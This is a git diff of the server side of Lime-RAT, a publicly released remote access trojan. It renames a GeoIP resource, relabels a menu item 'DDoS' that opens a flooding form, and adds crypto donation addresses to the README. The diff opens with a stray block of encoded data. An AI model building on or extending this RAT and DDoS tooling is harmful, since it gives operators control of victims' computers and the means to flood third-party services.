AwAB0AEDAgABAQEAASAGAAH1AQX/AKIAAwUBBwMQARYDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb
AxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDEgEY
AwgBCwMFAQcDEAEWAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb
diff --git a/Project/Server/Forms/Main.vb b/Project/Server/Forms/Main.vb
index 221415f..867d5e5 100644
--- a/Project/Server/Forms/Main.vb
+++ b/Project/Server/Forms/Main.vb
@@ -1,5 +1,5 @@
'##################################################################
-'## N Y A N C A T ||| Updated on Aug/20/2018 ##
+'## N Y A N C A T ||| Updated on Aug/24/2018 ##
'##################################################################
'## ##
'## ##
@@ -134,7 +134,7 @@ Public Class Main
#Region "Clients Requests"
- Private Shared _Gio As New S_GIO(Application.StartupPath & "\Misc\GIO.dat")
+ Private Shared _Gio As New S_GeoIP(Application.StartupPath & "\Misc\GeoIP.dat")
Delegate Sub _Data(ByVal u As USER, ByVal b() As Byte)
Private Sub S_Data(ByVal u As USER, ByVal b() As Byte) Handles S.Data
Dim A As String() = Split(S_Encryption.AES_Decrypt(BS(b)), S_Settings.SPL)
@@ -823,7 +823,7 @@ Public Class Main
Public Sub Messages(ByVal user As String, ByVal msg As String)
L2.Items.Add("[" + DateAndTime.Now.ToString("hh:mm:ss tt") + "]" + " " + user + " → " + msg.ToString)
- If msg.ToString.Contains("Error!") Then
+ If msg.ToString.Contains("Error!") AndAlso MetroToggle1.Checked = True Then
Try : My.Computer.Audio.Play(My.Resources._Error, AudioPlayMode.Background) : Catch : End Try 'https://freesound.org/people/eardeer/sounds/385281/
End If
End Sub
@@ -1246,7 +1246,7 @@ Public Class Main
End Try
End Sub
- Private Sub TestToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles TestToolStripMenuItem.Click
+ Private Sub DDoSToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DDoSToolStripMenuItem.Click
Floods.Show()
End Sub
@@ -1760,6 +1760,8 @@ Public Class Main
+
+
#End Region
diff --git a/Project/Server/My Project/AssemblyInfo.vb b/Project/Server/My Project/AssemblyInfo.vb
index 301d19f..7463f89 100644
--- a/Project/Server/My Project/AssemblyInfo.vb
+++ b/Project/Server/My Project/AssemblyInfo.vb
@@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices
' by using the '*' as shown below:
'
-
-
+
+
diff --git a/Project/Server/My Project/Resources.Designer.vb b/Project/Server/My Project/Resources.Designer.vb
index 3fa45cc..19f2ddb 100644
--- a/Project/Server/My Project/Resources.Designer.vb
+++ b/Project/Server/My Project/Resources.Designer.vb
@@ -72,9 +72,9 @@ Namespace My.Resources
'''
''' Looks up a localized resource of type System.Byte[].
'''
- Friend ReadOnly Property GIO() As Byte()
+ Friend ReadOnly Property GeoIP() As Byte()
Get
- Dim obj As Object = ResourceManager.GetObject("GIO", resourceCulture)
+ Dim obj As Object = ResourceManager.GetObject("GeoIP", resourceCulture)
Return CType(obj,Byte())
End Get
End Property
diff --git a/Project/Server/My Project/Resources.resx b/Project/Server/My Project/Resources.resx
index 54f009e..00bc735 100644
--- a/Project/Server/My Project/Resources.resx
+++ b/Project/Server/My Project/Resources.resx
@@ -127,7 +127,7 @@
..\Resources\Error.wav;System.IO.MemoryStream, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
- ..\Resources\GIO.dat;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+ ..\Resources\GeoIP.dat;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
\ No newline at end of file
diff --git a/Project/Server/Resources/GIO.dat b/Project/Server/Resources/GIO.dat
deleted file mode 100644
index 43fba25..0000000
Binary files a/Project/Server/Resources/GIO.dat and /dev/null differ
diff --git a/Project/Server/Resources/GeoIP.dat b/Project/Server/Resources/GeoIP.dat
new file mode 100644
index 0000000..be8b031
Binary files /dev/null and b/Project/Server/Resources/GeoIP.dat differ
diff --git a/Project/Server/Server.vbproj b/Project/Server/Server.vbproj
index 73ec342..8644925 100644
--- a/Project/Server/Server.vbproj
+++ b/Project/Server/Server.vbproj
@@ -99,7 +99,7 @@
-
+
@@ -239,11 +239,10 @@
Settings.Designer.vb
-
+
-
diff --git a/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll b/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll
index f94e7b4..1654968 100644
Binary files a/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll and b/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll differ
diff --git a/Project/Server/obj/Release/DesignTimeResolveAssemblyReferences.cache b/Project/Server/obj/Release/DesignTimeResolveAssemblyReferences.cache
index b96c6cd..66d50fb 100644
Binary files a/Project/Server/obj/Release/DesignTimeResolveAssemblyReferences.cache and b/Project/Server/obj/Release/DesignTimeResolveAssemblyReferences.cache differ
diff --git a/Project/Server/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Project/Server/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
index bea4364..3b3e8fb 100644
Binary files a/Project/Server/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache and b/Project/Server/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll b/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll
index a57a1ee..aa5e66a 100644
Binary files a/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll and b/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll differ
diff --git a/README.md b/README.md
index 2637775..55efb20 100644
--- a/README.md
+++ b/README.md
@@ -148,6 +148,14 @@ https://github.com/NYAN-x-CAT/Lime-RAT/releases
---
+## Donation
+
+**Buy me a coffee!**
+* XMR: `49H8Kbf15JFN2diG5evGHA5G49qhgFBuDid86z3MKxTv59dcqySCzFWUL3SgsEk2SufzTziHp3UE5P8BatwuyFuv1bBKQw2`
+* BTC: `12hTx7u7AqdNr8qo4UFuLwb6XAVjoDioax`
+
+---
+
## Disclaimer
I, the creator, am not responsible for any actions, and or damages, caused by this software.